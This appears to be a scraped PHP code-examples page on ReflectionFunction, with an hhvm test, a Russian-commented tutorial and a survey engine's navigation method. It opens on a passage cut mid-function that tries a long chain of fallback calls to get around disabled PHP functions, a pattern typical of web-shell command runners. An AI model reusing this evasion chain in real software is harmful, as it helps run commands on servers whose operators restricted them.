                                    if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                                        $it = new ArrayIterator(array(""));
                                        iterator_apply($it, $function, array($arg1, $arg2));
                                    } else {
                                        if (disabled_php("register_tick_function") == False) {
                                            declare (ticks=1);
                                            register_tick_function($function, $arg1, $arg2);
                                            unregister_tick_function($function);
                                        } else {
                                            if (disabled_php("array_map") == False) {
                                                array_map($function, array($arg1, $arg2));
                                            } else {
                                                if (disabled_php("array_walk") == False) {
                                                    $x = array($arg1, $arg2);
                                                    array_walk($x, $function);
                                                } else {
                                                    if (disabled_php("array_filter") == False) {
                                                        array_filter(array($arg1, $arg2), $function);
                                                    } else {
                                                        if (disabled_php("register_shutdown_function")) {
                                                            register_shutdown_function($function, $arg1, $arg2);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                } else {
                    if ($arg1 != null) {
                        if (disabled_php("call_user_func") == False) {
                            $return_value = call_user_func($function, $arg1);
                        } else {
                            if (disabled_php("call_user_func_array") == False) {
                                $return_value = call_user_func_array($function, array($arg1));
                            } else {
                                if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                                    $ref_function = new ReflectionFunction($function);
                                    $handle = $ref_function->invoke($arg1);
                                    if (is_string($handle)) {
                                        $return_value = $handle;
                                    } else {
                                        $return_value = fread($handle, 4096);
                                        pclose($handle);
                                    }
                                } else {
                                    if ($output_needed == False) {
                                        if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                                            $it = new ArrayIterator(array(""));
                                            iterator_apply($it, $function, array($arg1));
                                        } else {
                                            if (disabled_php("register_tick_function") == False) {
                                                declare (ticks=1);
                                                register_tick_function($function, $arg1);
                                                unregister_tick_function($function);
                                            } else {
                                                if (disabled_php("array_map") == False) {
                                                    array_map($function, array($arg1));
                                                } else {
                                                    if (disabled_php("array_walk") == False) {
                                                        $x = array($arg1, $arg2, $arg3);
                                                        array_walk($x, $function);
                                                    } else {
                                                        if (disabled_php("array_filter") == False) {
                                                            array_filter(array($arg1), $function);
                                                        } else {
                                                            if (disabled_php("register_shutdown_function")) {
                                                                register_shutdown_function($function, $arg1);
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    } else {
                        if (disabled_php("call_user_func") == False) {
                            $return_value = call_user_func($function);
                        } else {
                            if (disabled_php("call_user_func_array") == False) {
                                $return_value = call_user_func_array($function, array());
                            } else {
                                if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                                    $ref_function = new ReflectionFunction($function);
                                    $handle = $ref_function->invoke();
                                    if (is_string($handle)) {
                                        $return_value = $handle;
                                    } else {
                                        $return_value = fread($handle, 4096);
                                        pclose($handle);
                                    }
                                } else {
                                    if ($output_needed == False) {
                                        if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                                            $it = new ArrayIterator(array(""));
                                            iterator_apply($it, $function, array());
                                        } else {
                                            if (disabled_php("register_tick_function") == False) {
                                                declare (ticks=1);
                                                register_tick_function($function);
                                                unregister_tick_function($function);
                                            } else {
                                                if (disabled_php("array_map") == False) {
                                                    array_map($function, array());
                                                } else {
                                                    if (disabled_php("array_walk") == False) {
                                                        $x = array();
                                                        array_walk($x, $function);
                                                    } else {
                                                        if (disabled_php("array_filter") == False) {
                                                            array_filter(array(), $function);
                                                        } else {
                                                            if (disabled_php("register_shutdown_function")) {
                                                                register_shutdown_function($function);
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    return $return_value;
}
コード例 #27
0
ファイル: 1352.php プロジェクト: badlamer/hhvm
    echo "}\n";
}
function show($rf)
{
    var_dump($rf->getName());
    var_dump($rf->isUserDefined());
    var_dump($rf->getStartLine());
    var_dump($rf->getEndLine());
    var_dump($rf->getDocComment());
    var_dump($rf->getFileName() === __FILE__);
    show_params($rf->getParameters());
    var_dump($rf->getNumberOfParameters());
    var_dump($rf->getNumberOfRequiredParameters());
}
$rf = new ReflectionFunction($f);
$rg = new ReflectionFunction($g);
$radd = new ReflectionFunction($add);
echo "invoking f\n";
$rf->invoke();
echo "\ninvoking g\n";
$rg->invoke('hello');
$rg->invokeArgs(array('goodbye'));
echo "\ninvoking add\n";
$radd->invoke(1, 2);
$radd->invokeArgs(array(5000000000, 5000000000));
echo "\nshowing f\n";
show($rf);
echo "\nshowing g\n";
show($rg);
echo "\nshowing add\n";
show($radd);
コード例 #28
0
<pre>
<?php 
function sayHello($name, $h)
{
    static $count = 0;
    return "<h{$h}>Hello, {$name}</h{$h}>";
}
// Обзор функции
Reflection::export(new ReflectionFunction('sayHello'));
// Создание экземпляра класса ReflectionFunction
$func = new ReflectionFunction('sayHello');
// Вывод основной информации
printf("<p>===> %s функция '%s'\n" . "     объявлена в %s\n" . "     строки с %d по %d\n", $func->isInternal() ? 'Internal' : 'User-defined', $func->getName(), $func->getFileName(), $func->getStartLine(), $func->getEndline());
// Вывод статических переменных, если они есть
if ($statics = $func->getStaticVariables()) {
    printf("<p>---> Статическая переменная: %s\n", var_export($statics, 1));
}
// Вызов функции
printf("<p>---> Результат вызова: ");
$result = $func->invoke("John", "1");
echo $result;
?>
</pre>
コード例 #29
0
ファイル: basicengine.php プロジェクト: nubissurveying/nubis
 function getNextQuestion()
 {
     global $db;
     /* get language */
     $language = getSurveyLanguage();
     // include language
     if (file_exists("language/language" . getSurveyLanguagePostFix($language) . ".php")) {
         require_once 'language' . getSurveyLanguagePostFix($language) . '.php';
         // language
     } else {
         require_once 'language_en.php';
         // fall back on english language  file
     }
     // check if session request already in progress
     if (isset($_SESSION['PREVIOUS_REQUEST_IN_PROGRESS']) && $_SESSION['PREVIOUS_REQUEST_IN_PROGRESS'] == 1) {
         doCommit();
         echo $this->display->showInProgressSurvey();
         doExit();
     } else {
         if ($this->isLocked()) {
             doCommit();
             echo $this->display->showLockedSurvey();
             doExit();
         }
     }
     // lock (we unlock in showQuestion OR doEnd if end of survey
     $this->lock();
     // we are starting/returning to the survey/section OR submit of old form
     $oldform = $this->isOldFormSubmit();
     //echo 'rgid: ' . getFromSessionParams(SESSION_PARAM_RGID) . '----';
     if (getFromSessionParams(SESSION_PARAM_RGID) == '' || $oldform) {
         // returning to the survey
         if ($this->getDisplayed() != "") {
             // completed interview
             if ($this->getDataRecord()->isCompleted()) {
                 /* see what to do on reentry after completion
                  * based on settings of last displayed variable/group
                  */
                 $reentry = AFTER_COMPLETION_NO_REENTRY;
                 $reentry_preload = PRELOAD_REDO_NO;
                 $groupname = $this->getTemplate();
                 $rgid = $this->getRgid();
                 $variablenames = $this->getDisplayed();
                 if ($groupname != "") {
                     $group = $this->getGroup($groupname);
                     $reentry = $group->getAccessReturnAfterCompletionAction();
                     $reentry_preload = $group->getAccessReturnAfterCompletionRedoPreload();
                 } else {
                     $variables = explode("~", $variablenames);
                     $realvariables = explode("~", $this->display->getRealVariables($variables));
                     if (sizeof($realvariables) > 0) {
                         $var = $this->getVariableDescriptive($realvariables[0]);
                         //echo $var->getName();
                         $reentry = $var->getAccessReturnAfterCompletionAction();
                         $reentry_preload = $var->getAccessReturnAfterCompletionRedoPreload();
                     }
                 }
                 if ($reentry == AFTER_COMPLETION_NO_REENTRY) {
                     $this->unlock();
                     doCommit();
                     echo $this->display->showCompletedSurvey();
                     doExit();
                 } else {
                     // set current action to reentry
                     $this->currentaction = ACTION_SURVEY_REENTRY;
                     /* update language, mode and version */
                     $this->setAnswer(VARIABLE_LANGUAGE, $language);
                     $this->setAnswer(VARIABLE_VERSION, getSurveyVersion());
                     $this->setAnswer(VARIABLE_MODE, getSurveyMode());
                     $this->setAnswer(VARIABLE_PLATFORM, $_SERVER['HTTP_USER_AGENT']);
                     $this->setAnswer(VARIABLE_EXECUTION_MODE, getSurveyExecutionMode());
                     $this->setAnswer(VARIABLE_TEMPLATE, getSurveyTemplate());
                     $this->setAnswer(VARIABLE_END, null);
                     /* set interview data as incompleted */
                     $this->getDataRecord()->setToIncomplete();
                     // redoing preloads
                     if ($reentry_preload == PRELOAD_REDO_YES) {
                         //echo 'preloading again';
                         $pd = loadvarSurvey('pd');
                         if ($pd != '') {
                             getSessionParamsPost(loadvarSurvey('pd'), 'PD');
                             foreach ($_SESSION['PD'] as $field => $answer) {
                                 //echo $field . ' set with ' . $answer . '<br/>';
                                 $this->setAnswer($field, $answer);
                             }
                         }
                     }
                     // where are we entering
                     $where = $reentry;
                     //$this->survey->getAccessReturnAfterCompletionAction();
                     // show first question(s) of survey
                     if ($where == AFTER_COMPLETION_FIRST_SCREEN) {
                         /* save data record */
                         $this->getDataRecord()->saveRecord();
                         // get data of current state, which is the last one (with updated preloads if we re-did the preloads)
                         $data = $this->state->getAllData();
                         // remove all states except first one with displayed != "" and anything before that state
                         $this->removeAllStatesExceptFirst();
                         // load the first state
                         $this->loadLastState();
                         // set data from last state to first state
                         $this->state->setAllData($data);
                         //unset($data);
                         // save updated state
                         $this->saveState(false);
                         /* if (language different from state AND not using last known language) OR (mode different from state AND not using last known language) OR (version different from state), then wipe fill texts */
                         if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getReentryLanguage() == LANGUAGE_REENTRY_NO || $this->state->getMode() != getSurveyMode() && $this->survey->getReentryMode() == MODE_REENTRY_NO || $this->state->getVersion() != getSurveyVersion()) {
                             $this->setFillTexts(array());
                             /* indicate to redo any fills */
                             $this->setRedoFills(true);
                         }
                         // show question(s)
                         $groupname = $this->getTemplate();
                         $rgid = $this->getRgid();
                         $variablenames = $this->getDisplayed();
                         $this->showQuestion($variablenames, $rgid, $groupname);
                         doExit();
                     } else {
                         if ($where == AFTER_COMPLETION_FROM_START) {
                             // get data of current state, which is the last one (with updated preloads if we re-did the preloads)
                             $data = $this->state->getAllData();
                             // remove all states
                             $this->removeAllStates();
                             // initialize new state
                             $this->reinitializeState();
                             // set data
                             $this->state->setAllData($data);
                             // start main section
                             $this->doSection("", 0, $this->getMainSeid(), true);
                             /* stop */
                             doExit();
                         } else {
                             if (inArray($where, array(AFTER_COMPLETION_LAST_SCREEN, AFTER_COMPLETION_LAST_SCREEN_REDO))) {
                                 /* if (language different from state AND not using last known language) OR (mode different from state AND not using last known language) OR (version different from state), then wipe fill texts */
                                 if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getReentryLanguage() == LANGUAGE_REENTRY_NO || $this->state->getMode() != getSurveyMode() && $this->survey->getReentryMode() == MODE_REENTRY_NO || $this->state->getVersion() != getSurveyVersion()) {
                                     $this->setFillTexts(array());
                                     /* indicate to redo any fills */
                                     $this->setRedoFills(true);
                                 }
                                 $groupname = $this->getTemplate();
                                 $rgid = $this->getRgid();
                                 $variablenames = $this->getDisplayed();
                                 // not redoing anything
                                 if ($where == AFTER_COMPLETION_LAST_SCREEN) {
                                     $this->showQuestion($variablenames, $rgid, $groupname);
                                     doExit();
                                 } else {
                                     // in group, then we redo
                                     if ($groupname != "") {
                                         /* indicate update action */
                                         $this->updateaction = true;
                                         /* clear inline fields and sub displays */
                                         $this->setInlineFields(array());
                                         $this->setSubDisplays(array());
                                         /* remove assignments within action */
                                         $this->removeAssignmentsAfterRgid($rgid);
                                         /* re-do action */
                                         $this->doAction($rgid);
                                         /* save data record */
                                         $this->getDataRecord()->saveRecord();
                                         /* we finished everything and are showing a question if all went well 
                                          * so this is the moment to update the state
                                          */
                                         $this->saveState(false);
                                         /* stop */
                                         return;
                                     }
                                 }
                                 doExit();
                             }
                         }
                     }
                 }
             } else {
                 /* see what to do on reentry
                  * based on settings of last 
                  * displayed variable/group
                  */
                 $action = REENTRY_SAME_SCREEN;
                 $reentry_preload = PRELOAD_REDO_NO;
                 $groupname = $this->getTemplate();
                 $rgid = $this->getRgid();
                 $variablenames = $this->getDisplayed();
                 if ($groupname != "") {
                     $group = $this->getGroup($groupname);
                     $action = $group->getAccessReentryAction();
                     $reentry_preload = $group->getAccessReentryRedoPreload();
                 } else {
                     $variables = explode("~", $variablenames);
                     $realvariables = explode("~", $this->display->getRealVariables($variables));
                     if (sizeof($realvariables) > 0) {
                         $var = $this->getVariableDescriptive($realvariables[0]);
                         $action = $var->getAccessReentryAction();
                         $reentry_preload = $var->getAccessReentryRedoPreload();
                     }
                 }
                 /* no re-entry allowed */
                 if ($action == REENTRY_NO_REENTRY) {
                     $this->unlock();
                     doCommit();
                     echo $this->display->showCompletedSurvey();
                     doExit();
                 } else {
                     // set current action to reentry
                     $this->currentaction = ACTION_SURVEY_RETURN;
                     /* update language, mode and version */
                     $this->setAnswer(VARIABLE_LANGUAGE, $language);
                     $this->setAnswer(VARIABLE_VERSION, getSurveyVersion());
                     $this->setAnswer(VARIABLE_MODE, getSurveyMode());
                     $this->setAnswer(VARIABLE_PLATFORM, $_SERVER['HTTP_USER_AGENT']);
                     $this->setAnswer(VARIABLE_EXECUTION_MODE, getSurveyExecutionMode());
                     $this->setAnswer(VARIABLE_TEMPLATE, getSurveyTemplate());
                     // redoing preloads
                     if ($reentry_preload == PRELOAD_REDO_YES) {
                         //echo 'preloading again';
                         $pd = loadvarSurvey('pd');
                         if ($pd != '') {
                             getSessionParamsPost(loadvarSurvey('pd'), 'PD');
                             foreach ($_SESSION['PD'] as $field => $answer) {
                                 //echo $field . ' set with ' . $answer . '<br/>';
                                 $this->setAnswer($field, $answer);
                             }
                         }
                     }
                     // show first question(s) of survey
                     if ($action == REENTRY_FIRST_SCREEN) {
                         /* save data record */
                         $this->getDataRecord()->saveRecord();
                         // get data of current state, which is the last one (with updated preloads if we re-did the preloads)
                         $data = $this->state->getAllData();
                         // remove all states except first one with displayed != "" and anything before that state
                         $this->removeAllStatesExceptFirst();
                         // load the first state
                         $this->loadLastState();
                         // set data from last state to first state
                         $this->state->setAllData($data);
                         //unset($data);
                         // save updated state
                         $this->saveState(false);
                         /* if (language different from state AND not using last known language) OR (mode different from state AND not using last known language) OR (version different from state), then wipe fill texts */
                         if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getReentryLanguage() == LANGUAGE_REENTRY_NO || $this->state->getMode() != getSurveyMode() && $this->survey->getReentryMode() == MODE_REENTRY_NO || $this->state->getVersion() != getSurveyVersion()) {
                             $this->setFillTexts(array());
                             /* indicate to redo any fills */
                             $this->setRedoFills(true);
                         }
                         // show question(s)
                         $groupname = $this->getTemplate();
                         $rgid = $this->getRgid();
                         $variablenames = $this->getDisplayed();
                         $this->showQuestion($variablenames, $rgid, $groupname);
                         doExit();
                     } else {
                         if ($action == REENTRY_FROM_START) {
                             // get data of current state, which is the last one (with updated preloads if we re-did the preloads)
                             $data = $this->state->getAllData();
                             // remove all states
                             $this->removeAllStates();
                             // initialize new state
                             $this->reinitializeState();
                             // set data
                             $this->state->setAllData($data);
                             // start main section
                             $this->doSection("", 0, $this->getMainSeid(), true);
                             /* stop */
                             doExit();
                         } else {
                             if (inArray($action, array(REENTRY_SAME_SCREEN, REENTRY_SAME_SCREEN_REDO_ACTION))) {
                                 /* if (language different from state AND not using last known language) OR (mode different from state AND not using last known language) OR (version different from state), then wipe fill texts */
                                 if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getReentryLanguage() == LANGUAGE_REENTRY_NO || $this->state->getMode() != getSurveyMode() && $this->survey->getReentryMode() == MODE_REENTRY_NO || $this->state->getVersion() != getSurveyVersion()) {
                                     $this->setFillTexts(array());
                                     /* indicate to redo any fills */
                                     $this->setRedoFills(true);
                                 }
                                 // not redoing anything
                                 if ($action == REENTRY_SAME_SCREEN) {
                                     $this->showQuestion($variablenames, $rgid, $groupname);
                                     doExit();
                                 } else {
                                     // in group, then we redo
                                     if ($groupname != "") {
                                         /* indicate update action */
                                         $this->updateaction = true;
                                         /* clear inline fields and sub displays */
                                         $this->setInlineFields(array());
                                         $this->setSubDisplays(array());
                                         /* clear any assignments part of the action */
                                         $this->removeAssignmentsAfterRgid($rgid);
                                         /* re-do action */
                                         $this->doAction($rgid);
                                         /* save data record */
                                         $this->getDataRecord()->saveRecord();
                                         /* we finished everything and are showing a question if all went well 
                                          * so this is the moment to update the state
                                          */
                                         $this->saveState(false);
                                         /* stop */
                                         return;
                                     }
                                 }
                             } else {
                                 $torgid = 0;
                                 $result = $db->selectQuery('select torgid from ' . Config::dbSurvey() . '_next where suid=' . prepareDatabaseString($this->getSuid()) . ' and seid=' . prepareDatabaseString($this->seid) . ' and fromrgid = ' . prepareDatabaseString($rgid));
                                 if ($row = $db->getRow($result)) {
                                     $torgid = $row["torgid"];
                                 }
                                 /* indicate we are going forward */
                                 $this->setForward(true);
                                 /* log action */
                                 $this->currentaction = ACTION_EXIT_NEXT;
                                 $this->logAction($rgid, ACTION_EXIT_NEXT);
                                 // action to do
                                 if ($torgid > 0) {
                                     /* reset any assignments */
                                     $this->setAssignments(array());
                                     /* reset inline fields */
                                     $this->setInlineFields(array());
                                     /* reset sub displays */
                                     $this->setSubDisplays(array());
                                     /* reset fill texts */
                                     $this->setFillTexts(array());
                                     /* do action */
                                     $this->doAction($torgid);
                                     /* we finished everything and are showing a question if 
                                      * all went well so this is the moment to save the state
                                      */
                                     if ($this->endofsurvey == false) {
                                         /* save data record */
                                         $this->getDataRecord()->saveRecord();
                                         $this->saveState();
                                     }
                                 } else {
                                     /* do end */
                                     $this->doEnd(true);
                                 }
                             }
                         }
                     }
                 }
                 /* stop */
                 doExit();
             }
         } else {
             $this->currentaction = ACTION_SURVEY_ENTRY;
             /* store basic fields */
             $this->setAnswer(VARIABLE_PRIMKEY, $this->primkey);
             $this->setAnswer(VARIABLE_BEGIN, date("Y-m-d H:i:s", time()));
             $this->setAnswer(VARIABLE_LANGUAGE, $language);
             $this->setAnswer(VARIABLE_VERSION, getSurveyVersion());
             $this->setAnswer(VARIABLE_MODE, getSurveyMode());
             $this->setAnswer(VARIABLE_PLATFORM, $_SERVER['HTTP_USER_AGENT']);
             $this->setAnswer(VARIABLE_EXECUTION_MODE, getSurveyExecutionMode());
             $this->setAnswer(VARIABLE_TEMPLATE, getSurveyTemplate());
             /* preload */
             $pd = loadvarSurvey('pd');
             if ($pd != '') {
                 getSessionParamsPost(loadvarSurvey('pd'), 'PD');
                 foreach ($_SESSION['PD'] as $field => $answer) {
                     //echo $field . ' set with ' . $answer . '<br/>';
                     $this->setAnswer($field, $answer);
                 }
             }
             /* save data record */
             $this->getDataRecord()->saveRecord();
             /* do first action */
             $this->doAction($this->getFirstAction());
             /* we finished everything and are showing a question if 
              * went well so this is the moment to save the state
              */
             $this->saveState();
             if ($this->getFlooding()) {
                 if ($this->stop != true) {
                     $this->doFakeSubmit($this->getDisplayed(), $this->getRgid(), $this->getTemplate());
                     $this->getNextQuestion();
                 }
             }
             /* stop */
             $this->stop = true;
             return;
         }
     } else {
         /* get the rgid */
         $lastrgid = getFromSessionParams(SESSION_PARAM_RGID);
         //echo 'dsdsdsdsdsdsd' . $lastrgid . '----' . $this->getPreviousRgid();
         /* check if rgid matches the one from the state AND no posted navigation
          * if not, then this is a browser resubmit
          */
         if ($lastrgid != $this->getPreviousRgid() && !isset($_POST['navigation'])) {
             /* show last question(s) and stop */
             $this->showQuestion($this->getDisplayed(), $this->getRgid(), $this->getTemplate());
             doExit();
         }
         /* handle timings */
         $this->addTimings($lastrgid, $this->getStateId());
         /* get query display object for button labels */
         //echo getFromSessionParams(SESSION_PARAM_VARIABLES) . '====';
         $vars = splitString("/~/", getFromSessionParams(SESSION_PARAM_VARIABLES));
         $dkrfnacheck = false;
         $queryobject = null;
         $screendumps = false;
         $paradata = false;
         if (sizeof($vars) == 1) {
             $var = $this->getVariableDescriptive($vars[0]);
             $queryobject = $var;
             $backlabel = $var->getLabelBackButton();
             $updatelabel = $var->getLabelUpdateButton();
             $nextlabel = $var->getLabelNextButton();
             $dklabel = $var->getLabelDKButton();
             $rflabel = $var->getLabelRFButton();
             $nalabel = $var->getLabelNAButton();
             $remarks = $var->getShowRemarkButton();
             $dkrfnacheck = $var->isIndividualDKRFNA();
             $screendumps = $var->isScreendumpStorage();
             $paradata = $var->isParadata();
         } else {
             $group = $this->getGroup(getFromSessionParams(SESSION_PARAM_GROUP));
             $queryobject = $group;
             $backlabel = $group->getLabelBackButton();
             $updatelabel = $group->getLabelUpdateButton();
             $nextlabel = $group->getLabelNextButton();
             $dklabel = $group->getLabelDKButton();
             $rflabel = $group->getLabelRFButton();
             $nalabel = $group->getLabelNAButton();
             $remarks = $group->getShowRemarkButton();
             $dkrfnacheck = $group->isIndividualDKRFNA();
             $screendumps = $group->isScreendumpStorage();
             $paradata = $group->isParadata();
         }
         /* handle screenshot */
         if ($screendumps == true) {
             $this->addScreenshot();
         }
         /* handle paradata */
         if ($paradata == true) {
             $this->addParadata($lastrgid);
         }
         /* handle action */
         // back
         if (isset($_POST['navigation']) && $_POST['navigation'] == $backlabel) {
             $this->currentaction = ACTION_EXIT_BACK;
             /* update remark status from clean to dirty */
             if ($remarks == BUTTON_YES && loadvarSurvey(POST_PARAM_REMARK_INDICATOR) == 1) {
                 $this->updateRemarkStatus(DATA_DIRTY);
             }
             $this->doBackState($lastrgid, $dkrfnacheck);
             $cnt = 0;
             $currentseid = $this->getSeid();
             // this was a section call, so we need to go back one more state
             while ($this->getDisplayed() == "") {
                 $this->setSeid($this->getParentSeid());
                 $this->setPrefix($this->getParentPrefix());
                 $this->doBackState($this->getRgid(), $dkrfnacheck, false);
                 // dont save answers again!
                 $cnt++;
                 if ($cnt > 100) {
                     break;
                 }
             }
             /* if (language different from state AND update) OR (mode different from state AND update) OR (version different from state), then wipe fill texts */
             $redo = false;
             if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getBackLanguage() == LANGUAGE_BACK_YES || $this->state->getMode() != getSurveyMode() && $this->survey->getBackMode() == MODE_BACK_YES || $this->state->getVersion() != getSurveyVersion()) {
                 $this->setFillTexts(array());
                 /* indicate to redo any fills */
                 $this->setRedoFills(true);
                 $redo = true;
             }
             /* if language different, but keeping from state, then update language */
             if ($this->state->getLanguage() != getSurveyLanguage() && $this->survey->getBackLanguage() != LANGUAGE_BACK_YES) {
                 setSurveyLanguage($this->state->getLanguage());
             }
             if ($this->state->getMode() != getSurveyMode() && $this->survey->getBackMode() != MODE_BACK_YES) {
                 setSurveyMode($this->state->getMode());
             }
             if ($this->state->getVersion() != getSurveyVersion()) {
                 setSurveyVersion($this->state->getVersion());
             }
             /* check for on submit function */
             $onsubmit = $queryobject->getOnBack();
             $tocall = $this->replaceFills($onsubmit);
             $parameters = array();
             if (stripos($tocall, '(') !== false) {
                 $parameters = rtrim(substr($tocall, stripos($tocall, '(') + 1), ')');
                 $parameters = preg_split("/[\\s,]+/", $parameters);
                 $tocall = substr($tocall, 0, stripos($tocall, '('));
             }
             if (function_exists($tocall)) {
                 try {
                     $f = new ReflectionFunction($tocall);
                     $returnStr .= $f->invoke($parameters);
                 } catch (Exception $e) {
                 }
             }
             /* no need to reset inline fields array in state --> they are based on the routing
              * if we went back after a language change, then any routing related change resulting from
              * that are not effectuated until after going forward again.
              */
             /* show previous question(s) from the stored state */
             if ($this->getRgid() != "") {
                 // no language/mode/version change, so no need to redo anything
                 if ($redo == false) {
                     $this->showQuestion($this->getDisplayed(), $this->getRgid(), $this->getTemplate());
                 } else {
                     /* we have a rgid */
                     if ($this->getRgid() > 0) {
                         //$this->updateaction = true;
                         // we are going back to different section, so we need to load another engine
                         if ($currentseid != $this->getSeid()) {
                             global $engine;
                             $engine = loadEngine($this->getSuid(), $this->primkey, $this->phpid, $this->version, $this->getSeid(), false, true);
                             /* set state as current state */
                             $engine->setState($this->state);
                             /* update state properties */
                             $engine->setSeid($this->getSeid());
                             $engine->setMainSeid($this->getMainSeid());
                             $engine->setPrefix($this->getPrefix());
                             $engine->setParentSeid($this->getParentSeid());
                             $engine->setParentRgid($this->getParentRgid());
                             $engine->setParentPrefix($this->getParentPrefix());
                             $engine->setForward($this->getForward());
                             $engine->setFlooding($this->getFlooding());
                             // do the action in the correct engine
                             $engine->doAction($this->getRgid());
                             // stop
                             return;
                         } else {
                             $this->doAction($this->getRgid());
                             /* we finished everything and are showing a question if all went well 
                              * so this is the moment to update the state
                              */
                             $this->saveState(false);
                         }
                     } else {
                         $this->showQuestion($this->getDisplayed(), $this->getRgid(), $this->getTemplate());
                     }
                 }
             } else {
                 // this should not happen
                 $this->showQuestion(VARIABLE_INTRODUCTION, "");
                 //echo Language::messageSurveyStart();
             }
             /* save data record */
             $this->getDataRecord()->saveRecord();
             /* stop */
             return;
         } else {
             if (isset($_POST['navigation']) && ($_POST['navigation'] == $updatelabel || $_POST['navigation'] == NAVIGATION_LANGUAGE_CHANGE || $_POST['navigation'] == NAVIGATION_MODE_CHANGE || $_POST['navigation'] == PROGRAMMATIC_UPDATE)) {
                 $torgid = getFromSessionParams(SESSION_PARAM_RGID);
                 /* log action */
                 if ($_POST['navigation'] == $updatelabel) {
                     $this->currentaction = ACTION_EXIT_UPDATE;
                     $this->logAction($lastrgid, ACTION_EXIT_UPDATE);
                 } else {
                     if ($_POST['navigation'] == NAVIGATION_LANGUAGE_CHANGE) {
                         $this->currentaction = ACTION_EXIT_LANGUAGE_CHANGE;
                         $this->logAction($lastrgid, ACTION_EXIT_LANGUAGE_CHANGE);
                         $this->setAnswer(VARIABLE_LANGUAGE, getSurveyLanguage());
                     } else {
                         if ($_POST['navigation'] == NAVIGATION_MODE_CHANGE) {
                             $this->currentaction = ACTION_EXIT_MODE_CHANGE;
                             $this->logAction($lastrgid, ACTION_EXIT_MODE_CHANGE);
                             $this->setAnswer(VARIABLE_MODE, getSurveyMode());
                         } else {
                             if ($_POST['navigation'] == NAVIGATION_VERSION_CHANGE) {
                                 $this->currentaction = ACTION_EXIT_VERSION_CHANGE;
                                 $this->logAction($lastrgid, ACTION_EXIT_VERSION_CHANGE);
                                 $this->setAnswer(VARIABLE_VERSION, getSurveyVersion());
                             } else {
                                 if ($_POST['navigation'] == PROGRAMMATIC_UPDATE) {
                                     $this->currentaction = ACTION_EXIT_PROGRAMMATIC_UPDATE;
                                     $this->logAction($lastrgid, ACTION_EXIT_PROGRAMMATIC_UPDATE);
                                 }
                             }
                         }
                     }
                 }
                 /* store answers in db and previous state */
                 $cnt = 1;
                 foreach ($vars as $var) {
                     $vd = $this->getVariableDescriptive($var);
                     if ($vd->getAnswerType() == ANSWER_TYPE_SETOFENUMERATED) {
                         $answer = "";
                         if ($dkrfnacheck == true) {
                             /* dk/rf/na */
                             $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt . "_dkrfna");
                             if (!inArray($answer, array(ANSWER_DK, ANSWER_RF, ANSWER_NA))) {
                                 $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                             }
                         } else {
                             $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                         }
                         if (is_array($answer)) {
                             $answer = implode(SEPARATOR_SETOFENUMERATED, $answer);
                         }
                         $this->setAnswer($var, $answer, DATA_DIRTY);
                     } else {
                         if ($vd->getAnswerType() != ANSWER_TYPE_NONE) {
                             $answer = "";
                             if ($dkrfnacheck == true) {
                                 /* dk/rf/na */
                                 $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt . "_dkrfna");
                                 if (!inArray($answer, array(ANSWER_DK, ANSWER_RF, ANSWER_NA))) {
                                     $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                                 }
                             } else {
                                 $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                             }
                             $this->setAnswer($var, $answer, DATA_DIRTY);
                         }
                     }
                     $cnt++;
                 }
                 /* if update button OR language OR mode OR version now different from state, then wipe fill texts */
                 if ($this->currentaction == ACTION_EXIT_UPDATE || $_POST['navigation'] == NAVIGATION_LANGUAGE_CHANGE && $this->state->getLanguage() != getSurveyLanguage() || $_POST['navigation'] == NAVIGATION_MODE_CHANGE && $this->state->getMode() != getSurveyMode() || $_POST['navigation'] == NAVIGATION_VERSION_CHANGE && $this->state->getVersion() != getSurveyVersion()) {
                     $this->setFillTexts(array());
                     /* indicate to redo any fills */
                     $this->setRedoFills(true);
                 }
                 /* indicate update action */
                 $this->updateaction = true;
                 /* clear inline fields and sub displays */
                 $this->setInlineFields(array());
                 $this->setSubDisplays(array());
                 /* update remark status to clean */
                 if ($remarks == BUTTON_YES && loadvarSurvey(POST_PARAM_REMARK_INDICATOR) == 1) {
                     $this->updateRemarkStatus(DATA_DIRTY);
                 }
                 /* check for on submit function */
                 $onsubmit = "";
                 if ($_POST['navigation'] == $updatelabel) {
                     $onsubmit = $queryobject->getOnUpdate();
                 } else {
                     if ($_POST['navigation'] == NAVIGATION_LANGUAGE_CHANGE) {
                         $onsubmit = $queryobject->getOnLanguageChange();
                     } else {
                         if ($_POST['navigation'] == NAVIGATION_MODE_CHANGE) {
                             $onsubmit = $queryobject->getOnModeChange();
                         } else {
                             if ($_POST['navigation'] == NAVIGATION_VERSION_CHANGE) {
                                 $onsubmit = $queryobject->getOnVersionChange();
                             }
                         }
                     }
                 }
                 $tocall = $this->replaceFills($onsubmit);
                 $parameters = array();
                 if (stripos($tocall, '(') !== false) {
                     $parameters = rtrim(substr($tocall, stripos($tocall, '(') + 1), ')');
                     $parameters = preg_split("/[\\s,]+/", $parameters);
                     $tocall = substr($tocall, 0, stripos($tocall, '('));
                 }
                 if (function_exists($tocall)) {
                     try {
                         $f = new ReflectionFunction($tocall);
                         $returnStr .= $f->invoke($parameters);
                     } catch (Exception $e) {
                     }
                 }
                 /* re-do action */
                 $this->doAction($this->getRgid());
